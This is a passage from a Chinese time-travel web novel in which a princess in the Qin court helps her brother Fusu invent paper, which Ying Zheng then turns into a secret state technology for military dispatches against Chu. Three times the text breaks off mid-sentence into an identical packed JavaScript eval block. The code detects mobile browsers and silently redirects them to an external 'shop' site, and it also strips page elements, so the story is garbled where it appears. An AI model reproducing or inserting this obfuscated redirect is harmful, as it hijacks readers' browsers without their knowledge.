这一次,纸张离开石板时,发出了极其轻微、近乎完整的“嗤”声,被完整地揭了下来,没有任何部分黏连或碎裂。 “成了?”王离屏住呼吸。 明玉接过这张纸,入手的感觉就不同。 比之前所有的“纸”都更挺括,更有“骨子”,捏在手里不那么软塌,她试着轻轻弯折。 纸张发出了抵抗的、细微的“嘎吱”声,弯折到一定角度,才“咔”地一声断裂,断口依旧不齐整,但拉扯的纤维明显更多,韧性似乎确有提升。 “好像……真的结实了点!”明玉眼睛亮了。 “快,试试墨!”王离迫不及待。 陈内侍早已备好笔墨。 明玉用扶苏给的那方好墨,仔细研了浓淡适宜的墨汁,提起笔,深吸一口气,在这张“加压加胶”版的纸上,落笔写下一个“秦”字。 墨迹落在纸上的瞬间,晕染依然存在,但扩散的范围明显比之前小了一圈,墨色也更显凝聚,笔画的边缘虽仍有些毛刺,但已能勉强看出轮廓。 “洇得轻了!”王离凑近看,指着那个字,“看,这里,墨没散开那么大一块!笔画也能看清了!” 明玉也激动起来。她又试着写了“一”、“二”、“三”几个简单的字。 效果类似,洇墨虽有改善,但远未达到清晰书写的标准,纸张受墨处颜色变深、质地变软的问题依旧存在。 “还是不行。”明玉放下笔,有些遗憾,但更多的是看到进步的振奋,“不过,加压和加胶,好像真的有用!至少纸更密实挺括了,洇墨也好了一点点。” “那就是路走对了!”王离也很高兴,“咱们继续加压!加更重的!压更久!胶也试试别的!我爹说,他让人寻了些鹿角胶来,说是比皮胶更清透,过两日就能送来。” 陈内侍将这张“加压加胶初显效”的纸,和书写效果仔细记录下来,这小小的进步,让三人都备受鼓舞。 接下来的日子,实验进入了更系统、更繁琐的重复和变量调整阶段。 他们尝试了不同重量、不同形状的压物(磨盘、条石、甚至用绳索捆绑施加压力),不同时长的加压阴干,不同种类和比例的胶(皮胶、尝试中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937178|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鹿角胶),不同澄洗次数的浆料,不同纤维配比(楮皮、麻、破布)…… 旧厢房里堆满了各种标记过的石板、磨盘、陶缸,墙上挂着记录试验条件和结果的木片(在扶苏建议下,已改用小竹简,以墨书写,更易保存)。 陈内侍的“实验记录”越来越厚。 王离成了这里的常客,不仅出力,还常常从将门的角度提出些实用,甚至有些“蛮干”但偶尔奏效的点子(比如“用石碾子先压一遍树皮再煮”)。 明玉则负责观察、提出疑问、以及在大家思路困顿时,用孩童的视角和模糊的“常识”,给出一些方向性的提示,她小心地控制着自己“剧透”的欲望,尽量让所有改进都显得像是他们自己一步步摸索出来的。 这期间,扶苏每隔一两日便会来看看,翻阅记录,询问进展,提出自己的分析,并协调解决他们遇到的材料或工具难题,他通过将作少府,暗中推动着“连机水碓”改造的草图绘制,也让人继续寻找更好的植物胶或黏液来源。 章台宫正殿的君臣,依旧为伐楚等军国大事忙碌着。 但嬴政案头,偶尔会多出一两份不起眼的、来自将作少府或影密卫的简短禀报,内容是关于“水碓改进进度”、“胶料寻访”或“后苑旧屋试验微有进益”等,他通常只是扫一眼,不置可否,但从未下令中止。 深秋的阳光一日短过一日。 当院中那棵老榆树的最后几片枯叶也被寒风吹落时,旧厢房里的“纸”,在经历了数十次失败的配方和工艺调整后,终于取得了一个阶段性的、小小的突破。 他们用反复澄洗的细腻楮皮麻絮混合浆料,加入了微量尝试成功、清透度更高的鹿角胶液,经过改良后更均匀的捶打,最后用两块厚重条石上下夹压,阴干了足足五天后,得到了一张一尺见方,颜色微黄但相对均匀,表面光滑度显著提升,挺括而有弹性的“纸”。 明玉用最好的松烟墨,屏息凝神,在上面写下了“天下”二字。 墨迹落纸,仍有极细微的晕染,但已控制在极小范围,笔画清晰可辨,墨色黑亮,稳稳地附着在纸面上。 纸张没有因吸墨而迅速变软破损,书写手感虽仍不及后世宣纸,但已是一种前所未有的、令人惊喜的体验。 “成了……这次真的……可以了?”明玉握着笔,看着纸上的两个字,声音有些发颤。 王离凑在旁边,眼睛瞪得溜圆,伸出手指想摸又不敢摸:“这……这能用了?真的能写字了?还不容易破?” 陈内侍老脸也因激动而泛红,拿着记录竹简的手微微发抖:“回公主,王离将军,此纸……确已大不同!坚韧、受墨、平整,皆远胜以往!” 明玉看着那“天下”二字,又看看眼前这张虽仍显粗糙、却已具实用雏形的“秦纸”,一股难以言喻的热流涌上心头,眼眶微微发热。 几个月了,从最初的树皮烂布,一堆堆的失败品,一次次的摸索讨论,到如今…… 她小心地拿起这张纸,对着窗外的光看。 纸张透光性依然不好,厚薄也不算完全均匀,但那种由植物纤维交织而成的、独特的质感与纹理,已清晰可辨。 这是一张真正的纸。由他们亲手,从无到有,在这两千多年前的秦宫深处,制造出来的纸。 “我们……做出来了。”明玉轻声说,看向王离和陈内侍,脸上绽开一个大大的、带着泪光的笑容。 王离重重点头,咧嘴笑开,露出一口白牙,用力挥了挥拳。陈内侍深深躬身。 旧厢房里,秋日午后的阳光透过窗棂,静静照耀着三个激动的人,和那张承载了无数汗水、智慧与期待的纸。 纸上的“天下”二字墨迹未干,在光线下泛着温润的乌光,仿佛在无声地诉说着一个全新可能的开端。 而这张纸,连同详细的制作记录,很快就被呈送到了扶苏面前,扶苏仔细检验、书写测试后,一向温润平和的眼中,也露出了难以抑制的震动与激赏。 9. 第 9 章 那张承载着“天下”二字的纸,在扶苏的书案上静静躺了一夜。 烛光下,他反复检视,指尖轻抚过纸张的纹理,感受着那份迥异于竹简与绢帛的挺括与柔韧。 墨迹已干透,黝黑清晰,力透纸背,却又轻盈若无物。 他又亲自用不同的笔,蘸浓淡不一的墨,在边缘空白处试写了几个小字,观察洇染、附着与笔画呈现。 每一次落笔,心中的激荡便更深一分。 此物虽仍显粗陋,不及精品绢帛光滑细腻,然其材质易得,制法可循,轻薄便于携运,已具实用之基。 更重要的是,它出自树皮麻絮等废弃常见之物,其背后所蕴含的可能…… 他铺开新的竹简,开始书写一份条理清晰、措辞审慎的奏报。 没有提及任何“奇想”或“心声”,只以“臣扶苏,谨奏”开头,陈述自己“因见简牍笨重,文书传递、典籍存阅皆有不便,遂于校书之余,偶发奇想,试以常见之楮皮、麻絮等物,经浸泡、蒸煮、捶捣、抄滤、压干等法,制成一种轻薄可书之新材料,暂名‘新帛’。” 随后,他将数月来摸索的主要步骤、克服的难点(脆裂、洇墨、粗糙)、尝试的改进方法(加压、加胶、澄洗),以及目前所成“新帛”的特性与不足,一一如实禀明。 文末,附上试验记录的摘要,并恳请父王御览此“新帛”样品,以定其用。 奏报写毕,他又仔细誊抄一遍。 待到次日清晨,他整理衣冠,怀揣那份奏报与那张珍贵的“新帛”,走向章台宫正殿。 时辰尚早,嬴政刚结束晨间的独自沉思,正在用早膳。 听闻扶苏求见,略一颔首。 扶苏入内,行礼如仪,而后双手呈上奏报与那张折叠整齐的“新帛”。 “父王,儿臣有物呈览,并有奏报陈情。” 嬴政放下玉箸,接过宦者令转呈上来的竹简与那方微黄、触手陌生的薄片。 他先展开竹简,目光沉静地扫过扶苏工整的字迹,奏报写得平实克制,但字里行间透出的严谨、坚持与最终取得的突破,皆清晰可见。 他的目光在“楮皮麻絮等常见废弃之物”与“轻薄可书”几字上略有停留,随即看向手中那所谓的“新帛”。 入手很轻,质地奇异,非绢非葛,表面有细微的纤维纹理,颜色不算纯净,但已比最初那些“破烂”顺眼得多。 他将其展开,一尺见方,边缘裁切得不算齐整,但整体平整,上面墨迹俨然,“天下”二字笔力尚可,另有数行小字注释,墨色清晰,附着牢固。 嬴政伸出食指,在空白处轻轻按压,感受其韧性,又用指甲划过边缘,纸张发出轻微的摩擦声,未见轻易撕裂。 他取过案头朱笔,在“新帛”一角空白处,写下一个“秦”字。 朱砂落于纸面,微微晕开一丝极淡的绯红,但笔画形态完整,红色鲜明。 与旁边墨写的“天下”二字相映,竟有种奇特的和谐。 嬴政放下笔,捏着这张“新帛”,对着殿外透入的天光看了看。 光线透过纸张,显出内部交织的纤维阴影,不算均匀,但已自成一体。 殿内一时寂静。 扶苏垂手侍立,心中亦有些忐忑,他不知父王会如何看待这耗时数月、颇有些“不务正业”的成果。 良久,嬴政缓缓开口,声音听不出喜怒:“此物,制之不易?” “回父王,初时屡试屡败,耗时颇久,后得匠人协助,改进器具,明晰步骤,方得此雏形,然距完善量产,尚有距离。”扶苏如实道。 “所用物料,果真寻常易得?” “皆是楮树之皮、破旧麻葛、渔网等废弃之物,来源甚广,价廉易得。所耗人力,主要在捶捣、澄洗与精细操作,若有改良器械相助,效率可增。” “可书,可存否?” “儿臣已试,书写无碍,墨迹牢固,至于久存与否,需待时日验证,然其不似竹简易蛀,亦不若绢帛畏潮,或有所长。” 嬴政不再发问,只是将那张写着“朕”与“天下”的“新帛”拿在手中,轻轻摩挲。 他的目光似乎穿透了这薄薄的一片,看到了更深处——那些堆积如山的军报奏章,那些需要驰传送递的紧急文书,那些汗牛充栋的典籍律令,那些因竹简沉重、抄录艰难而无法广泛传播的政令与教化…… 此物若成,其利或不可估量。 不止于减轻他案头负担,更关乎政令通达、知识流转、帝国运行之效率。 而这一切,竟始于那“异魂”一声对竹简笨重的抱怨,和长子一次认真的“奇想”尝试。 “此事,还有何人知晓?”嬴政问,语气平淡。 “除儿臣与几名可靠匠役、宫人,唯有九妹明玉时有关切询问,王贲将军之子王离曾协助出力捶捣物料,皆不知详情,只当是寻常匠作尝试。”扶苏谨慎答道,未提及明玉的任何“关键提示”。 嬴政微微颔首,他自然知道明玉和王离的参与,影密卫的汇报远比扶苏所知详尽。但扶苏如此回禀,显是周全。 “将此物制法、所费、优劣,详列成册,秘存于少府。”嬴政下令,“着将作少府,择稳妥匠人,于僻静处设坊,依你之法,秘密试制,务求改进,增其白、匀、韧,减其耗时耗费。若有疑难,你可暗中指点。此事列为‘尚方’秘务,不得外泄。” “尚方”是秦宫廷中掌管器物制造的机构,亦负责一些机密工坊。 嬴政将此“新帛”的制作归入“尚方”秘务,意味着将其提升到了国家机密技术的层面,并给予正式的资源和支持,同时严格保密。 “儿臣遵旨!”扶苏心中一块大石落地,躬身应诺,父王不仅认可了此物,更给予了实质性的支持与明确的保密指令,这是最好的结果。 “至于你九妹,”嬴政顿了顿,目光掠过那份奏报,“既有心于此,便让她在旁看着,不必阻拦,亦不必深究其言,孩童心性,或仍有奇思,可记之,不必尽信。” “儿臣明白。” “王离那边,既已参与,便让他继续跟着,王家忠心,其子可用。然需告诫,谨言慎行。” “是。” “去吧。” 扶苏恭敬退出正殿,走在秋日清冷的晨风中,只觉得心头一片敞亮。 几个月的艰辛摸索,终于得到了最高层面的认可与支持。 接下来的路,或许依然会有波折,但方向已然明确,资源也已到位。 他抬头望向偏殿方向,不知九妹此刻在做些什么,若她知道这“纸”已被父王认可,并要正式秘密试产,会是何等欢喜? 而此刻的偏殿外间,明玉正对着新学的篆字皱眉,心思却有一半飘到了后苑的旧厢房。 昨日那张成功的“纸”被扶苏哥哥拿走了,不知他会不会给政爹看?政爹会是什么反应?会觉得这是奇技淫巧,还是能看出它的价值? 她正胡思乱想,忽见扶苏从正殿方向走来,脸上带着惯常的温润,但眉宇间似乎松快了些,他走到明玉书案旁,温声道:“九妹,习字可还顺手?” “长兄。”明玉起身,“还好,就是这几个字总写不好。”她指着竹简上几个复杂的字形。 扶苏耐心指导了几句,状似无意地低声道:“昨日那张‘新帛’,我已呈于父王御览。” 明玉的心一下子提了起来,眼睛一眨不眨地看着扶苏。 扶苏微微一笑,声音压得更低:“父王已命将作少府秘密设坊,依我们摸索之法,继续试制改进,以求完善。” 明玉瞬间瞪大了眼睛,嘴巴微张,几乎要欢呼出声,又死死忍住,小脸因激动而泛红。她攥紧了衣袖,小声地、带着不敢置信的惊喜问:“真、真的?政爹……父王他……认可了?” “嗯。”扶苏点头,眼中亦有光,“父王已将其列为‘尚方’秘务,此事需绝对保密,九妹切记。” “我明白!我绝对不说!”明玉用力点头,心里已经被巨大的喜悦淹没。 【成功了!政爹认可了!造纸术要在秦朝被官方推广了!】 【天啊!这算不算我改变历史的第一步?虽然是扶苏哥哥和王离陈翁他们出的力,但我……我也算有点用吧?】她激动得有点语无伦次。 扶苏看着她毫不掩饰的欢喜,心中微软,温声叮嘱:“日后将作少府的匠坊试制,我或会暗中参与,九妹若有兴趣,亦可偶尔去看看,但需谨慎,不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937179|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张扬。若有新想法,依旧可告知为兄。” “嗯嗯!我一定小心!”明玉连连保证,心里已经开始幻想秦朝“国营造纸厂”的场面了。 接下来的日子,明玉的生活似乎没什么变化,依旧每日习字,去旧厢房看看。 但她能感觉到,章台宫内外,有一股隐秘的力量在悄然运作。 偶尔有生面孔的匠人被引入后苑更深处,一些寻常的物料进出似乎也频繁了些,但一切都进行得低调而有序。 王离依旧隔三差五来帮忙,他似乎从父亲那里得到了某种默许,对“新帛”的事更加上心,甚至主动请缨去盯着,将作少府调拨来的几个“可靠”匠人捶打浆料。 据说,那架“连机水碓”的改造草图已初步完成,正在寻找合适地点建造试验。 明玉从王离兴奋的嘀咕中拼凑出信息:新的匠坊设在咸阳城外一处有活水、且易于看守的皇家别苑旁,改进的捶打器械正在打造。 匠人们被分为不同组,尝试不同的原料配方和处理工艺;一切都在秘密而高效地推进。 她按捺住强烈的好奇心,没有提出要去那秘密匠坊看看。 她知道,自己现在的身份和年龄,过于接近核心反而可能带来不必要的麻烦,能通过扶苏和王离了解进展,偶尔提出些不越界的疑问或联想,已经很好。 深秋的最后一场雨过后,天气骤然冷了下来。 这日,明玉正在偏殿抱着手炉取暖,忽有宦者令来传,大王召她去正殿。 明玉心中一跳,连忙整理衣衫,跟着宦者令来到正殿。 殿内除了嬴政,只有扶苏侍立一旁,气氛并不凝重,甚至比平日议政时显得轻松些。 “儿臣拜见父王。”明玉规规矩矩行礼。 “平身。”嬴政的声音从上方传来,平淡无波,“近日习字,可有进益?” “回父王,已能识写《仓颉篇》泰半,然笔力犹弱。”明玉老实回答。 “嗯。”嬴政应了一声,目光落在她身上,停顿片刻,忽然道,“你长兄所制‘新帛’,你有功。” 明玉心中一凛,连忙低头:“儿臣不敢居功,皆是长兄苦心孤诣,匠人辛勤所致,儿臣……儿臣只是偶尔去看,胡乱说些孩子话。” “孩童话,亦有可用之时。”嬴政语气依旧平淡,却让明玉听出了一丝几不可察的……缓和?“既对此物有心,日后便多与你长兄探讨,然需谨记,宫外之言,不可轻信,亦不可轻传。” “儿臣谨记父王教诲!”明玉恭声应道,政爹这是……在敲打她,但也算是一种认可和允许? “此物,赐你。”嬴政示意了一下。 旁边的宦者令立刻捧上一个扁平的木匣,走到明玉面前,打开。 匣中整齐叠放着数张“纸”。 颜色比他们最初成功的样品更白了些,质地明显更均匀挺括,边缘裁切整齐,每张约有尺半见方,是明玉见过的最好品质的“秦纸”。 最上面一张,还放着一支小巧、笔杆上刻着云纹的紫毫笔。 明玉愣住了,呆呆地看着匣中的纸笔,又抬头看看御座上的父王,再看看旁边微笑的扶苏,一时竟不知该说什么。 “此乃将作少府依新法所制首批‘尚方新帛’,与特制小笔。”扶苏温声解释,“父王念你习字辛苦,特赐予你,以资练习,此物轻便,或可减你手腕之累。” 明玉的眼眶蓦地一热,她连忙低下头,忍住鼻尖的酸意,双手接过木匣,声音有些发哽:“儿臣……谢父王赏赐!谢长兄!” 抱着沉甸甸的木匣走出正殿,明玉的脚步都是飘的。 回到偏殿,她将木匣小心地放在书案上,打开,取出最上面一张纸,铺开,又拿起那支紫毫笔。 纸张细腻的触感透过指尖传来,带着新制物品特有、淡淡的植物气息,笔杆温润,笔锋柔软。 她蘸了墨,屏住呼吸,在这张由她无心之言开启、凝聚了无数人心血、最终得到帝王认可的“秦纸”上,郑重地,一笔一划地,写下了第一个字—— “秦”。 墨迹落于洁白的纸面,清晰,黑亮,稳稳当当。 窗外,冬日的阳光透过薄云,洒下一片温暖的光辉。 10. 第 10 章 嬴政赐纸笔之后,明玉习字的日常悄然发生了变化。 那几刀“尚方新帛”和特制紫毫笔,被她宝贝似地收在书案下的漆盒里,只在每日功课的后半段,才舍得取出一张,小心铺开,用那支笔练习。 纸张的触感与竹简截然不同,柔软而富有弹性,吸墨均匀,运笔时少了竹简的生硬滞涩,多了几分流畅。 虽然她字迹依旧稚拙,但书写的体验已不可同日而语。 扶苏见她如此珍惜,温言道:“九妹不必过于吝惜。此物既已可制,日后用度不会短缺。父王既赐你用,便是允你日常习练。” 明玉却摇摇头,认真地说:“我知道,可这是第一批好纸,是长兄和大家辛苦做出来的,不能浪费,我用竹简练熟了,再用纸写,这样心里踏实。” 她心里想的是:【这可是秦朝第一批‘官方认证’的纸啊!历史文物!虽然政爹说以后还会有,但这几张意义不一样。我得省着点用,说不定以后能当传家宝……】 她这“历史文物”和“传家宝”的念头,自然被扶苏听了去,他有些失笑,却也理解妹妹的珍重之心,便不再多劝,只是私下吩咐陈内侍,日后明玉用纸若有不足,可直接从他那里支取。 王离再来旧厢房时,也得了两张“尚方新帛”的赏赐,乐得他见牙不见眼,拿在手里翻来覆去地看:“这就是咱们做出来的?真白!比咱们在屋里弄的那些强多了!” 他小心翼翼地收进怀里,“我可得收好了,回头让我爹也瞧瞧。” 陈内侍依旧在旧厢房照料着那些“对照组”实验,记录着不同原料、工艺的细微差别,为城外秘密匠坊的改进提供参考。 一切似乎都步入了更有序的轨道。 冬日的第一场雪悄然落下时,章台宫正殿内的气氛,却比屋外的天气更加凝重,伐楚的战事进入了最关键的阶段。 王翦率领的六十万大军与项燕对峙于楚地,已近两月。 秦军坚守不出,楚军屡次挑战不得,双方陷入僵持。 军报如雪片般飞入咸阳,每一份都牵动着帝国中枢的神经。粮秣转运的损耗、士卒的士气、漫长对峙对国力的消耗,以及朝野间若有若无的质疑声,都沉沉地压在御座之上。 这日晨议,气氛格外肃杀。 几位重臣面色凝重,就前线粮草补充、民夫征发轮换、以及是否该催促王翦择机决战等问题,争论不休。 有年轻气盛的将领隐晦表示,六十万大军空耗钱粮,久屯不战,恐非良策,老成者如李斯等人,则主张信任王翦,稳扎稳打,但亦对巨大的消耗感到压力。 嬴政高坐御案之后,玄衣深沉,面容在冕旒的阴影下看不出情绪,只一双眸子幽深如寒潭,听着臣下的争论。 扶苏侍立在侧,同样眉心微蹙。 、他能感受到父王平静表面下的凝重,以及那庞大战争机器运转时带来无处不在的压力。 明玉在外间习字,殿内压抑的争论声隐约传来,她听不真切具体内容,但“粮秣”、“民夫”、“王老将军”、“项燕”等词反复出现,让她大致明白,是伐楚战事遇到了困难期。 【唉,打仗就是打后勤,打国力,六十万人在外头,每天人吃马嚼,还得防备楚军偷袭粮道,王老将军和政爹压力肯定都大。朝里肯定也有人会说闲话……】 她心里嘀咕着,笔下临摹的字都慢了下来,【不过,王翦的策略是对的,耗下去,先撑不住的多半是楚王那边,就是不知道政爹能不能顶住压力,完全信任王老将军……】 她这“打仗就是打后勤”的总结和“信任”的担忧,清晰地传入了内殿。 正在陈述某地粮仓存粮数据的治粟内史,话音几不可察地顿了一下,另一位正欲进言“宜稍作催促,以振军心”的官员,也下意识地收住了话头。 嬴政的目光淡淡扫过下首诸臣,在几个面露焦躁的面孔上略微停留,又掠过案头一份王翦不久前送来的密报,上面详细分析了楚军可能的动向、己方的应对,以及“请大王勿忧,臣必待其弊而击之”的保证,他指节在案上轻轻一叩。 殿内瞬间安静下来。 “王翦,国之柱石,既统大军于外,寡人自当信之。”嬴政的声音不高,却带着不容置疑的定力,“前线诸事,皆依其议而行。粮秣民夫,但有短缺,即刻补足,不得延误。关中、巴蜀诸郡,今岁粮赋,优先供给军前。若有推诿迟滞者,严惩不贷。” “唯!”众臣凛然应诺。 大王的态度已然明确,任何催促或质疑王翦的言论,在此刻都显得不合时宜。 “然,”嬴政话锋一转,目光投向治粟内史与负责徭役征发的内史,“大军久驻,损耗实巨。粮秣转运,民夫征发,需更求精算,减其虚耗。可曾细核各转运节点仓储、路途损耗、民夫口粮实际发放之数?有无虚报、克扣、延误?” 治粟内史额角见汗,连忙出列:“臣……已命所属加紧核算,然各地文书繁冗,路途遥远,彻底厘清尚需时日……” “文书繁冗?”嬴政打断他,手指在案上堆积的、关于粮秣调拨的竹简上划过,“便是因这竹简沉重,文书传递抄录皆缓,尔等核验方如此迟滞!” 他忽然拿起手边一份不起眼的、折叠起来的“尚方新帛”——那是扶苏呈报造纸工艺的附件,上面写着一些试验数据——将其展开,示于众臣面前。 “此物,尔等可曾见过?” 众臣定睛看去,只见大王手中拿着一方微黄轻薄的物事,非帛非简,上面墨迹清晰,几位那日曾在殿中隐约听见明玉,关于伐楚“后勤”与“信任”心声的重臣,心中皆是一动。 “此乃少府新制之物,暂名‘新帛’。”嬴政语气平淡,却抛出了一个让众人惊愕的消息,“以楮皮麻絮等寻常之物制成,轻薄可书,便于携传。” 他示意宦者令将那张“新帛”传给诸臣观看。 李斯、王绾、冯去疾等重臣依次接过,仔细端详,或轻轻触摸,或对着光看,脸上皆露出惊异之色,他们久历政务,自然立刻意识到此物的潜在价值。 “此物……造价几何?可能量产?”李斯敏锐地问出了关键。 “造价远低于缣帛,原料易得,制法已成,正于少府秘坊试制改进,以求价廉而质优。” 嬴政道,“寡人思之,或可先用于军情急报、重要文书之誊抄传递,以验其效。一则可减驿传负累,加速情报周转;二则,日后若成,于各级官署文书往来、典籍录副,或大有裨益。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937180|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此言一出,殿中几位重臣眼神都亮了起来。他们都是被海量竹简文书折磨过的人,深知其中之苦。 若真有价廉物美、轻便易用的替代之物…… “大王圣明!”李斯率先道,“此物若成,确于政令传达、典籍流通有莫大助力,用于军情急报,更是事半功倍。” “然其耐久否?可能久存?”有谨慎的官员提出疑问。 “此尚需时日验证。”嬴政并不讳言,“然其不惧虫蠹,便携易运,已显其长。可先于小范围试用,观其效,再图推广。” “大王,此物既出少府秘坊,不知制作之法……”另一位官员试探道,显然想到了背后的利益与技术控制。 “制法乃国之秘技,由少府尚方专掌,不得外泄。”嬴政斩钉截铁,“试用之物,亦由尚方统一监制发放,各级需严格登记,不得损毁遗失。” 众臣了然,这是要将此物的生产与推广牢牢控制在国家手中,他们自然无异议,反而觉得理应如此。 一场关于前线战事压力的朝议,竟因一方“新帛”的展示,而悄然转向了对未来政务效率提升的展望。 殿中原本凝重的气氛,不知不觉缓和了不少。 虽然伐楚的重担仍在,但大王手中似乎又多了一件或许能改变某些局面的新工具,这让众人心里也多了几分底气。 明玉在外间,对殿内因她的纸而引发的讨论和决策一无所知,她只是觉得,里面争论的声音似乎低了下去,后来好像还在传看什么东西?她没太在意,专注于把最后一个字写完。 朝议散去后,嬴政独留李斯与治粟内史。 “试用‘新帛’之事,由你二人协同少府办理。”嬴政吩咐道,“首批,先用于咸阳与伐楚大营之间的军情急报传递,选用稳妥之人,对比竹简与‘新帛’传递之速、之便。详细记录,报于寡人。” “唯!” “此外,”嬴政看向治粟内史,“各地粮秣、民夫、仓储账目,即日起,重要部分可用‘新帛’誊录副本,快马送至咸阳核验。倒要看看,能否快上几分。” “臣遵旨!”治粟内史精神一振,若真能加速文书核验,对理清目前庞杂的粮秣调度账目无疑大有帮助。 数日后,一批加盖了少府特殊印鉴、裁切整齐的“尚方新帛”,连同使用须知,被秘密送往伐楚大营王翦处,以及几条关键的粮秣转运路线的节点官署。 同时,咸阳通往各地的驿道上,也多了几匹背负着轻便行囊、装有“新帛”文书的快马。 王翦接到那轻薄却挺括的“新帛”和秦王手谕时,饶是见多识广,也抚须良久,眼中精光闪烁,他立刻明白了此物的价值,尤其是对需要频繁往来传递军情,和复杂部署图的军队而言。 他亲自试用,在一张“新帛”上绘制了最新的两军对峙简图,并写下几句只有他与秦王能懂的暗语,命绝对心腹以最快速度送回咸阳。 而此刻的明玉,正对着自己终于写完的一篇《仓颉篇》默写,用的是珍贵的“尚方新帛”,她放下笔,轻轻吹了吹未干的墨迹,看着整洁的纸面和上面依旧稚嫩但已工整不少的字迹,心里有种小小的成就感。 窗外,细雪又开始飘洒,无声地覆盖着巍峨的章台宫。 11. 第 11 章 腊月将近,咸阳的冬日越发酷寒。 连着几场大雪,将章台宫的殿宇覆上一层厚厚的素白,天地间一片寂寥,唯有狂风穿廊过庑,发出呜呜的呼啸。 旧厢房的炉火终日不熄,却仍抵不住四面漏风的寒气。 明玉如今已不大去那里,只在午后日头稍好时,裹着厚厚的裘衣,由陈内侍陪着去看一眼。 屋内的实验并未停止,但已转向更精细的对比,不同水质对纸张白度的影响,压纸时不同温度和湿度的控制,甚至尝试在浆料中加入极微量的有色矿物,看能否制出带有底纹的纸。 这些都是细水长流的功夫,急不来。 她更多的时间,还是待在烧着地龙的偏殿外间,守着暖炉习字。 嬴政赐的那些“尚方新帛”,她用得愈发珍惜,如今已能写一手颇像样的小篆,虽缺风骨,但结构工整,笔画清晰。 偶尔,她也会在纸的背面,用削尖的炭条,偷偷画些简笔的小人、小动物,或记忆里模糊的现代物件轮廓,画完又赶紧用手指抹去,只留下淡淡的灰痕,算是苦中作乐的一点童心。 扶苏和王离都忙了起来。扶苏除了日常功课和政务学习,还要分心关注城外秘密匠坊的进度,以及“新帛”在有限范围内的试用情况反馈。 王离则被其父王贲拎回了军营,据说是要趁着冬日闲暇,加强操练,熟悉行伍,他偶尔能溜进宫一趟,也是来去匆匆,脸被风雪吹得通红,跟明玉说不上几句话,多半是抱怨军中伙食粗糙、操练辛苦,但眼睛里却闪着被摔打后的精光。 前线的消息,依旧是章台宫最重头的议题。 对峙仍在继续,但气氛似乎有了微妙的变化。 送往咸阳的军报,开始频繁使用“新帛”。 明玉曾有一次,在扶苏匆忙离开正殿时,瞥见他袖中滑落一角折叠、边缘沾着些许泥渍的微黄纸张,上面似乎有简洁的线条和符号。 那大概就是传说中的“军用地图”或“密报”了吧?她没敢细看,心里却有点小小的激动——她参与创造的纸,真的被用在决定天下归属的战争中了。 这日,雪后初霁,阳光苍白地照在雪地上,亮得刺眼。 明玉正在临摹一首《秦风》里的诗,忽闻正殿方向传来一阵比往日更急促的脚步声,以及低低的、压抑着兴奋的交谈声。她下意识地竖起耳朵。 “……大营密报……楚军异动……粮道……” “……项燕似有分兵迹象……” “……王老将军请命……” 片言只语顺着寒风飘来,明玉的心跳不由自主地加快。 楚军异动?分兵?是撑不住了吗?王翦要动了? 她强迫自己把注意力拉回竹简上,但心思早已飞到了千里之外的楚地战场。 脑海里不受控制地翻腾着关于这场战役的、支离破碎的记忆碎片:【项燕主动求战?不对,更像是被迫调动……楚王催他了?内部有矛盾了?王翦等了大半年,就是在等这一刻吧?以逸待劳,以静制动……】 她这些杂乱的心声,自然一字不落地传入了隔壁。 正殿内,气氛凝重中透着隐隐的亢奋。 嬴政面前摊开的,正是王翦用“新帛”绘制,并加急送来的最新形势图及分析,图上线条简练,却清晰标出了楚军几支人马调动的疑似方向,以及秦军相应的预设阵地。 “项燕此番调动,颇为仓促,各部衔接似有滞涩。”一位中年将领指着图上一点分析道,“或真是郢都(楚都寿春)方向压力所致。” “王老将军判断,此乃楚军疲敝、上下离心之兆。其请于三日后,伺机攻其最躁动之左军,以试其虚实,并断其可能袭扰我粮道之一臂。”另一人补充。 嬴政目光沉沉地落在“新帛”地图上,指尖划过王翦标注的几个可能出击点,他耳中同时回响着明玉那“以逸待劳,以静制动”的总结,以及“内部矛盾”、“被迫调动”的猜测。 这与王翦密报中的分析,与前线细作传回关于楚王近臣催促项燕、项燕与部分部将不和的零星信息,隐隐吻合。 “准。”良久,嬴政吐出一个字,声音不高,却带着千钧之力,“传令王翦,准其所请。一应军需调配,优先供给,此战,许胜不许败。” “唯!” 命令被迅速写成两分,一份仍是正式竹简诏书,另一份则用“新帛”誊抄关键部署与指令,由不同信道、以最快速度发往前线。 接下来的几天,章台宫仿佛一张拉满的弓,寂静中蓄着巨大的张力。 往来传递消息的信使明显增多,人人面带肃色,步履匆匆,明玉能感觉到那种弥漫在空气中的、无声的紧张,她连炭条画都不敢画了,每日老老实实习字,偶尔抬头望向南方,心里默默祈祷。 